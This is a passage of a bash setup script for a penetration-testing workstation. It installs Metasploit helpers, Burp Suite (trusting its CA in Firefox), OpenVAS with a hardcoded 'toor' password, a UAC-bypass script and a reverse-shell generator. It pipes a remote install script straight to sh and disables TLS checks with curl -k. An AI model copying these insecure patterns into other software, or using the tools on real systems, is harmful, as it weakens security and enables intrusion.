  1763. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}armitage${RESET} ~ GUI Metasploit UI"
  1764. export MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml
  1765. for file in /etc/bash.bashrc ~/.zshrc; do #~/.bashrc
  1766. [ ! -e "${file}" ] && continue
  1767. [ -e "${file}" ] && cp -n $file{,.bkup}
  1768. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1769. grep -q 'MSF_DATABASE_CONFIG' "${file}" 2>/dev/null \
  1770. || echo -e 'MSF_DATABASE_CONFIG=/usr/share/metasploit-framework/config/database.yml\n' >> "${file}"
  1771. done
  1772. #--- Test
  1773. #msfrpcd -U msf -P test -f -S -a 127.0.0.1
  1774.  
  1775.  
  1776. ##### Install exe2hex
  1777. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}exe2hex${RESET} ~ Inline file transfer"
  1778. apt -y -qq install exe2hexbat \
  1779. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1780.  
  1781.  
  1782. ##### Install MPC
  1783. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MPC${RESET} ~ Msfvenom Payload Creator"
  1784. apt -y -qq install msfpc \
  1785. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1786.  
  1787.  
  1788. ###### Install atom
  1789. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}atom${RESET} ~ GUI text editor"
  1790. timeout 300 curl --progress -k -L -f "https://atom.io/download/deb" > /tmp/atom.deb \
  1791. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading atom.deb" 1>&2
  1792. if [ -e /tmp/atom.deb ]; then
  1793. dpkg -i /tmp/atom.deb
  1794. #--- Create config file
  1795. mkdir -p ~/.atom/
  1796. file=~/.atom/config.cson
  1797. if [[ -f "${file}" ]]; then
  1798. echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1799. else
  1800. cat <<EOF > "${file}"
  1801. "*":
  1802. welcome:
  1803. showOnStartup: false
  1804. core:
  1805. disabledPackages: [
  1806. "metrics"
  1807. ]
  1808. EOF
  1809. fi
  1810. #--- Add to panel (GNOME)
  1811. export DISPLAY=:0.0
  1812. [[ $(which gnome-shell) ]] \
  1813. && gsettings set org.gnome.shell favorite-apps "$(gsettings get org.gnome.shell favorite-apps | sed "s/'org.gnome.gedit.desktop'/'atom.desktop'/")"
  1814. #--- Add to panel (XFCE)
  1815. ln -sf /usr/share/applications/atom.desktop ~/.config/xfce4/panel/launcher-8/textedit.desktop
  1816. fi
  1817.  
  1818.  
  1819. ##### Install PyCharm (Community Edition)
  1820. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}PyCharm (Community Edition)${RESET} ~ Python IDE"
  1821. timeout 300 curl --progress -k -L -f "https://download.jetbrains.com/python/pycharm-community-2016.1.1.tar.gz" > /tmp/pycharms-community.tar.gz \
  1822. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pycharms-community.tar.gz" 1>&2 #***!!! hardcoded version!
  1823. if [ -e /tmp/pycharms-community.tar.gz ]; then
  1824. tar -xf /tmp/pycharms-community.tar.gz -C /tmp/
  1825. rm -rf /opt/pycharms/
  1826. mv -f /tmp/pycharm-community-*/ /opt/pycharms
  1827. ln -sf /opt/pycharms/bin/pycharm.sh /usr/local/bin/pycharms
  1828. fi
  1829.  
  1830.  
  1831. ##### Install wdiff
  1832. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wdiff${RESET} ~ Compares two files word by word"
  1833. apt -y -qq install wdiff wdiff-doc \
  1834. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1835.  
  1836.  
  1837. ##### Install meld
  1838. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}meld${RESET} ~ GUI text compare"
  1839. apt -y -qq install meld \
  1840. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1841. #--- Configure meld
  1842. gconftool-2 -t bool -s /apps/meld/show_line_numbers true
  1843. gconftool-2 -t bool -s /apps/meld/show_whitespace true
  1844. gconftool-2 -t bool -s /apps/meld/use_syntax_highlighting true
  1845. gconftool-2 -t int -s /apps/meld/edit_wrap_lines 2
  1846.  
  1847.  
  1848. ##### Install vbindiff
  1849. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vbindiff${RESET} ~ visually compare binary files"
  1850. apt -y -qq install vbindiff \
  1851. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1852.  
  1853.  
  1854. ##### Install OpenVAS
  1855. if [[ "${openVAS}" != "false" ]]; then
  1856. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OpenVAS${RESET} ~ vulnerability scanner"
  1857. apt -y -qq install openvas \
  1858. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1859. openvas-setup
  1860. #--- Bug fix (target credentials creation)
  1861. mkdir -p /var/lib/openvas/gnupg/
  1862. #--- Bug fix (keys)
  1863. curl --progress -k -L -f "http://www.openvas.org/OpenVAS_TI.asc" | gpg --import - \
  1864. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading OpenVAS_TI.asc" 1>&2
  1865. #--- Make sure all services are correct
  1866. openvas-start
  1867. #--- User control
  1868. username="root"
  1869. password="toor"
  1870. (openvasmd --get-users | grep -q ^admin$) \
  1871. && echo -n 'admin user: ' \
  1872. && openvasmd --delete-user=admin
  1873. (openvasmd --get-users | grep -q "^${username}$") \
  1874. || (echo -n "${username} user: "; openvasmd --create-user="${username}"; openvasmd --user="${username}" --new-password="${password}" >/dev/null)
  1875. echo -e " ${YELLOW}[i]${RESET} OpenVAS username: ${username}"
  1876. echo -e " ${YELLOW}[i]${RESET} OpenVAS password: ${password} ***${BOLD}CHANGE THIS ASAP${RESET}***"
  1877. echo -e " ${YELLOW}[i]${RESET} Run: # openvasmd --user=root --new-password='<NEW_PASSWORD>'"
  1878. sleep 3s
  1879. openvas-check-setup
  1880. #--- Remove from start up
  1881. systemctl disable openvas-manager
  1882. systemctl disable openvas-scanner
  1883. systemctl disable greenbone-security-assistant
  1884. #--- Setup alias
  1885. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  1886. grep -q '^## openvas' "${file}" 2>/dev/null \
  1887. || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}"
  1888. source "${file}" || source ~/.zshrc
  1889. else
  1890. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping OpenVAS${RESET} (missing: '$0 ${BOLD}--openvas${RESET}')..." 1>&2
  1891. fi
  1892.  
  1893.  
  1894. ##### Install vFeed
  1895. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vFeed${RESET} ~ vulnerability database"
  1896. apt -y -qq install vfeed \
  1897. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1898.  
  1899.  
  1900. ##### Install Burp Suite
  1901. if [[ "${burpFree}" != "false" ]]; then
  1902. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Burp Suite (Community Edition)${RESET} ~ web application proxy"
  1903. apt -y -qq install burpsuite curl \
  1904. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1905. mkdir -p ~/.java/.userPrefs/burp/
  1906. file=~/.java/.userPrefs/burp/prefs.xml; #[ -e "${file}" ] && cp -n $file{,.bkup}
  1907. [ -e "${file}" ] \
  1908. || cat <<EOF > "${file}"
  1909. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  1910. <!DOCTYPE map SYSTEM "http://java.sun.com/dtd/preferences.dtd" >
  1911. <map MAP_XML_VERSION="1.0">
  1912. <entry key="eulafree" value="2"/>
  1913. <entry key="free.suite.feedbackReportingEnabled" value="false"/>
  1914. </map>
  1915. EOF
  1916. #--- Extract CA
  1917. find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete
  1918. export DISPLAY=:0.0
  1919. timeout 120 burpsuite >/dev/null 2>&1 &
  1920. PID=$!
  1921. sleep 15s
  1922. #echo "-----BEGIN CERTIFICATE-----" > /tmp/PortSwiggerCA \
  1923. # && awk -F '"' '/caCert/ {print $4}' ~/.java/.userPrefs/burp/prefs.xml | fold -w 64 >> /tmp/PortSwiggerCA \
  1924. # && echo "-----END CERTIFICATE-----" >> /tmp/PortSwiggerCA
  1925. export http_proxy="http://127.0.0.1:8080"
  1926. rm -f /tmp/burp.crt
  1927. while test -d /proc/${PID}; do
  1928. sleep 1s
  1929. curl --progress -k -L -f "http://burp/cert" -o /tmp/burp.crt 2>/dev/null # || echo -e ' '${RED}'[!]'${RESET}" Issue downloading burp.crt" 1>&2
  1930. [ -f /tmp/burp.crt ] && break
  1931. done
  1932. timeout 5 kill ${PID} 2>/dev/null \
  1933. || echo -e ' '${RED}'[!]'${RESET}" Failed to kill ${RED}burpsuite${RESET}"
  1934. unset http_proxy
  1935. #--- Installing CA
  1936. if [[ -f /tmp/burp.crt ]]; then
  1937. apt -y -qq install libnss3-tools \
  1938. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1939. folder=$(find ~/.mozilla/firefox/ -maxdepth 1 -type d -name '*.default' -print -quit)
  1940. certutil -A -n Burp -t "CT,c,c" -d "${folder}" -i /tmp/burp.crt
  1941. timeout 15 firefox >/dev/null 2>&1
  1942. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1943. #mkdir -p /usr/share/ca-certificates/burp/
  1944. #cp -f /tmp/burp.crt /usr/share/ca-certificates/burp/
  1945. #dpkg-reconfigure ca-certificates # Not automated
  1946. echo -e " ${YELLOW}[i]${RESET} Installed ${YELLOW}Burp Suite CA${RESET}"
  1947. else
  1948. echo -e ' '${RED}'[!]'${RESET}' Did not install Burp Suite Certificate Authority (CA)' 1>&2
  1949. echo -e ' '${RED}'[!]'${RESET}' Skipping...' 1>&2
  1950. fi
  1951. #--- Remove old temp files
  1952. sleep 2s
  1953. find /tmp/ -maxdepth 1 -name 'burp*.tmp' -delete 2>/dev/null
  1954. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1955. unset http_proxy
  1956. else
  1957. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  1958. fi
  1959.  
  1960.  
  1961. ##### Configure python console - all users
  1962. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}python console${RESET} ~ tab complete & history support"
  1963. export PYTHONSTARTUP=$HOME/.pythonstartup
  1964. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup} #~/.bashrc
  1965. grep -q PYTHONSTARTUP "${file}" \
  1966. || echo 'export PYTHONSTARTUP=$HOME/.pythonstartup' >> "${file}"
  1967. #--- Python start up file
  1968. cat <<EOF > ~/.pythonstartup \
  1969. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1970. import readline
  1971. import rlcompleter
  1972. import atexit
  1973. import os
  1974.  
  1975. ## Tab completion
  1976. readline.parse_and_bind('tab: complete')
  1977.  
  1978. ## History file
  1979. histfile = os.path.join(os.environ['HOME'], '.pythonhistory')
  1980. try:
  1981. readline.read_history_file(histfile)
  1982. except IOError:
  1983. pass
  1984.  
  1985. atexit.register(readline.write_history_file, histfile)
  1986.  
  1987. ## Quit
  1988. del os, histfile, readline, rlcompleter
  1989. EOF
  1990. #--- Apply new configs
  1991. source "${file}" || source ~/.zshrc
  1992.  
  1993.  
  1994. ##### Install virtualenvwrapper
  1995. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}virtualenvwrapper${RESET} ~ virtual environment wrapper"
  1996. apt -y -qq install virtualenvwrapper \
  1997. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1998.  
  1999.  
  2000. ##### Install go
  2001. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}go${RESET} ~ programming language"
  2002. apt -y -qq install golang \
  2003. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2004.  
  2005.  
  2006. ##### Install gitg
  2007. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gitg${RESET} ~ GUI git client"
  2008. apt -y -qq install gitg \
  2009. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2010.  
  2011.  
  2012. ##### Install sparta
  2013. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sparta${RESET} ~ GUI automatic wrapper"
  2014. apt -y -qq install sparta \
  2015. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2016.  
  2017.  
  2018. ##### Install wireshark
  2019. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Wireshark${RESET} ~ GUI network protocol analyzer"
  2020. #--- Hide running as root warning
  2021. mkdir -p ~/.wireshark/
  2022. file=~/.wireshark/recent_common; #[ -e "${file}" ] && cp -n $file{,.bkup}
  2023. [ -e "${file}" ] \
  2024. || echo "privs.warn_if_elevated: FALSE" > "${file}"
  2025. #--- Disable lua warning
  2026. [ -e "/usr/share/wireshark/init.lua" ] \
  2027. && mv -f /usr/share/wireshark/init.lua{,.disabled}
  2028.  
  2029.  
  2030. ##### Install silver searcher
  2031. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}silver searcher${RESET} ~ code searching"
  2032. apt -y -qq install silversearcher-ag \
  2033. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2034.  
  2035.  
  2036. ##### Install rips
  2037. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rips${RESET} ~ source code scanner"
  2038. apt -y -qq install apache2 php5 git \
  2039. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2040. git clone -q -b master https://github.com/ripsscanner/rips.git /opt/rips-git/ \
  2041. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2042. pushd /opt/rips-git/ >/dev/null
  2043. git pull -q
  2044. popd >/dev/null
  2045. #--- Add to path
  2046. file=/etc/apache2/conf-available/rips.conf
  2047. [ -e "${file}" ] \
  2048. || cat <<EOF > "${file}"
  2049. Alias /rips /opt/rips-git
  2050.  
  2051. <Directory /opt/rips-git/ >
  2052. Options FollowSymLinks
  2053. AllowOverride None
  2054. Order deny,allow
  2055. Deny from all
  2056. Allow from 127.0.0.0/255.0.0.0 ::1/128
  2057. </Directory>
  2058. EOF
  2059. ln -sf /etc/apache2/conf-available/rips.conf /etc/apache2/conf-enabled/rips.conf
  2060. systemctl restart apache2
  2061.  
  2062.  
  2063. ##### Install graudit
  2064. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}graudit${RESET} ~ source code auditing"
  2065. apt -y -qq install git \
  2066. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2067. git clone -q -b master https://github.com/wireghoul/graudit.git /opt/graudit-git/ \
  2068. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2069. pushd /opt/graudit-git/ >/dev/null
  2070. git pull -q
  2071. popd >/dev/null
  2072. #--- Add to path
  2073. file=/usr/local/bin/graudit-git
  2074. cat <<EOF > "${file}" \
  2075. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2076. #!/bin/bash
  2077.  
  2078. cd /opt/graudit-git/ && bash graudit.sh "\$@"
  2079. EOF
  2080. chmod +x "${file}"
  2081.  
  2082.  
  2083. ##### Install libreoffice
  2084. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}LibreOffice${RESET} ~ GUI office suite"
  2085. apt -y -qq install libreoffice \
  2086. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2087.  
  2088.  
  2089. ##### Install ipcalc & sipcalc
  2090. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ipcalc${RESET} & ${GREEN}sipcalc${RESET} ~ CLI subnet calculators"
  2091. apt -y -qq install ipcalc sipcalc \
  2092. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2093.  
  2094.  
  2095. ##### Install asciinema
  2096. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}asciinema${RESET} ~ CLI terminal recorder"
  2097. curl -s -L https://asciinema.org/install | sh
  2098.  
  2099.  
  2100. ##### Install shutter
  2101. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shutter${RESET} ~ GUI static screen capture"
  2102. apt -y -qq install shutter \
  2103. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2104.  
  2105.  
  2106. ##### Install psmisc ~ allows for 'killall command' to be used
  2107. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}psmisc${RESET} ~ suite to help with running processes"
  2108. apt -y -qq install psmisc \
  2109. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2110.  
  2111.  
  2112. ###### Setup pipe viewer
  2113. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pipe viewer${RESET} ~ CLI progress bar"
  2114. apt -y -qq install pv \
  2115. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2116.  
  2117.  
  2118. ###### Setup pwgen
  2119. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pwgen${RESET} ~ password generator"
  2120. apt -y -qq install pwgen \
  2121. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2122.  
  2123.  
  2124. ##### Install htop
  2125. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htop${RESET} ~ CLI process viewer"
  2126. apt -y -qq install htop \
  2127. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2128.  
  2129.  
  2130. ##### Install powertop
  2131. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}powertop${RESET} ~ CLI power consumption viewer"
  2132. apt -y -qq install powertop \
  2133. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2134.  
  2135.  
  2136. ##### Install iotop
  2137. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iotop${RESET} ~ CLI I/O usage"
  2138. apt -y -qq install iotop \
  2139. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2140.  
  2141.  
  2142. ##### Install ca-certificates
  2143. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ca-certificates${RESET} ~ HTTPS/SSL/TLS"
  2144. apt -y -qq install ca-certificates \
  2145. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2146.  
  2147.  
  2148. ##### Install testssl
  2149. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}testssl${RESET} ~ Testing TLS/SSL encryption"
  2150. apt -y -qq install testssl.sh \
  2151. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2152.  
  2153.  
  2154. ##### Install UACScript
  2155. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}UACScript${RESET} ~ UAC Bypass for Windows 7"
  2156. apt -y -qq install git windows-binaries \
  2157. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2158. git clone -q -b master https://github.com/Vozzie/uacscript.git /opt/uacscript-git/ \
  2159. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2160. pushd /opt/uacscript-git/ >/dev/null
  2161. git pull -q
  2162. popd >/dev/null
  2163. ln -sf /usr/share/windows-binaries/uac-win7 /opt/uacscript-git/
  2164.  
  2165.  
  2166. ##### Install MiniReverse_Shell_With_Parameters
  2167. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MiniReverse_Shell_With_Parameters${RESET} ~ Generate shellcode for a reverse shell"
  2168. apt -y -qq install git windows-binaries \
  2169. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2170. git clone -q -b master https://github.com/xillwillx/MiniReverse_Shell_With_Parameters.git /opt/minireverse-shell-with-parameters-git/ \
  2171. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2172. pushd /opt/minireverse-shell-with-parameters-git/ >/dev/null
  2173. git pull -q
  2174. popd >/dev/null
  2175. ln -sf /usr/share/windows-binaries/MiniReverse /opt/minireverse-shell-with-parameters-git/
  2176.  
  2177.  
  2178. ##### Install axel
  2179. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}axel${RESET} ~ CLI download manager"
  2180. apt -y -qq install axel \
  2181. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2182. #--- Setup alias
  2183. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  2184. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2185. grep -q '^alias axel' "${file}" 2>/dev/null \
  2186. || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  2187. #--- Apply new alias
  2188. source "${file}" || source ~/.zshrc
  2189.  
  2190.  
  2191. ##### Install html2text
  2192. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}html2text${RESET} ~ CLI html rendering"
  2193. apt -y -qq install html2text \
  2194. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2195.  
  2196.  
  2197. ##### Install tmux2html
  2198. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux2html${RESET} ~ Render tmux as HTML"
  2199. apt -y -qq install git python python-pip \
  2200. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2201. pip install tmux2html
  2202.  
  2203.  
  2204. ##### Install gparted
  2205. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}GParted${RESET} ~ GUI partition manager"
  2206. apt -y -qq install gparted \
  2207. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2208.  
  2209.  
  2210. ##### Install daemonfs
  2211. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}daemonfs${RESET} ~ GUI file monitor"
  2212. apt -y -qq install daemonfs \
  2213. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2214.  
  2215.  
  2216. ##### Install filezilla
  2217. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FileZilla${RESET} ~ GUI file transfer"
  2218. apt -y -qq install filezilla \
  2219. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2220. #--- Configure filezilla
  2221. export DISPLAY=:0.0
  2222. timeout 5 filezilla >/dev/null 2>&1 # Start and kill. Files needed for first time run
  2223. mkdir -p ~/.config/filezilla/
  2224. file=~/.config/filezilla/filezilla.xml; [ -e "${file}" ] && cp -n $file{,.bkup}
  2225. [ ! -e "${file}" ] && cat <<EOF> "${file}"
  2226. <?xml version="1.0" encoding="UTF-8"?>
  2227. <FileZilla3 version="3.15.0.2" platform="*nix">
  2228. <Settings>
  2229. <Setting name="Default editor">0</Setting>
  2230. <Setting name="Always use default editor">0</Setting>
  2231. </Settings>
  2232. </FileZilla3>
  2233. fi
  2234. EOF
  2235. sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/gedit</Setting>#' "${file}"
  2236. [ -e /usr/bin/atom ] && sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/atom</Setting>#' "${file}"
  2237. sed -i 's#^.*"Always use default editor".*#\t<Setting name="Always use default editor">1</Setting>#' "${file}"
  2238.  
  2239.  
  2240. ##### Install ncftp
  2241. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ncftp${RESET} ~ CLI FTP client"
  2242. apt -y -qq install ncftp \
  2243. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2244.  
  2245.  
  2246. ##### Install p7zip
  2247. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p7zip${RESET} ~ CLI file extractor"
  2248. apt -y -qq install p7zip-full \
  2249. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2250.  
  2251.  
  2252. ##### Install zip & unzip
  2253. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zip${RESET} & ${GREEN}unzip${RESET} ~ CLI file extractors"
  2254. apt -y -qq install zip unzip \
  2255. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2256.  
  2257.  
  2258. ##### Install file roller
  2259. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}file roller${RESET} ~ GUI file extractor"
  2260. apt -y -qq install file-roller \
  2261. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2262. apt -y -qq install unace unrar rar unzip zip p7zip p7zip-full p7zip-rar \
  2263. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2264.  
  2265.  
  2266. ##### Install VPN support
  2267. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VPN${RESET} support for Network-Manager"
  2268. for FILE in network-manager-openvpn network-manager-pptp network-manager-vpnc network-manager-openconnect network-manager-iodine; do
  2269. apt -y -qq install "${FILE}" \
  2270. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2271. done
  2272.  
  2273.  
  2274. ##### Install hashid
  2275. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hashid${RESET} ~ identify hash types"
  2276. apt -y -qq install hashid \
  2277. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2278.  
  2279.  
  2280. ##### Install httprint
  2281. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httprint${RESET} ~ GUI web server fingerprint"
  2282. apt -y -qq install httprint \
  2283. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2284.  
  2285.  
  2286. ##### Install lbd
  2287. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lbd${RESET} ~ load balancing detector"
  2288. apt -y -qq install lbd \
  2289. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2290.  
  2291.  
  2292. ##### Install wafw00f
  2293. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wafw00f${RESET} ~ WAF detector"
  2294. apt -y -qq install wafw00f \
  2295. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2296.  
  2297.  
  2298. ##### Install aircrack-ng
  2299. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Aircrack-ng${RESET} ~ Wi-Fi cracking suite"
  2300. apt -y -qq install aircrack-ng curl \
  2301. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2302. #--- Setup hardware database
  2303. mkdir -p /etc/aircrack-ng/
  2304. (timeout 600 airodump-ng-oui-update 2>/dev/null) \
  2305. || timeout 600 curl --progress -k -L -f "http://standards.ieee.org/develop/regauth/oui/oui.txt" > /etc/aircrack-ng/oui.txt
  2306. [ -e /etc/aircrack-ng/oui.txt ] \
